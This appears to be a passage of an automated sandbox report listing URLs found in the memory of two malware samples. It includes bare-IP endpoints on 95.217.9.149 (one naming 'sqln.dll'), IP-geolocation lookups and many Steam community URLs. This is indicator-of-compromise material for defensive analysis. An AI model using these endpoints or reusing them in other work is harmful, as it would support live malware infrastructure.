Source: build2.exe, 00000008.00000003.1857728072.0000000000933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dllK
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/x
Source: build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/y
Source: build2.exe, 00000008.00000002.1875771644.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.14925ef84b733fnt-Disposition:
Source: build2.exe, 00000008.00000002.1875771644.0000000000558000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.1494/4/2024
Source: build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149HIEHI
Source: build2.exe, 00000008.00000002.1875771644.000000000051A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149PUA4832FF8~YAAQLwwtFycGjvGKAQAAIGQc
Source: build2.exe, 00000008.00000002.1875771644.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149a
Source: n8XBpFdVFU.exe, 00000004.00000003.1721434517.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com
Source: n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/%M
Source: n8XBpFdVFU.exe, 00000001.00000002.1645789989.00000000007A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/8
Source: n8XBpFdVFU.exe, n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007A8000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonIW
Source: n8XBpFdVFU.exe, 00000001.00000002.1645789989.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonO
Source: n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonb
Source: n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonf
Source: n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonj
Source: n8XBpFdVFU.exe, 00000001.00000002.1645789989.0000000000758000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsono
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: n8XBpFdVFU.exe, 00000004.00000003.1721434517.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com
Source: n8XBpFdVFU.exe, 00000004.00000003.1721434517.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets
Source: n8XBpFdVFU.exe, 00000004.00000003.1721434517.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://assets.activity.windows.com/v1/assets/$batch
Source: build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: build2.exe, 00000008.00000003.1729052867.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=EyWBqDQS-6jg&a
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=c4UneKQJ
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=2YYI
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=ZVlkBFZXqRp1&l=e
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
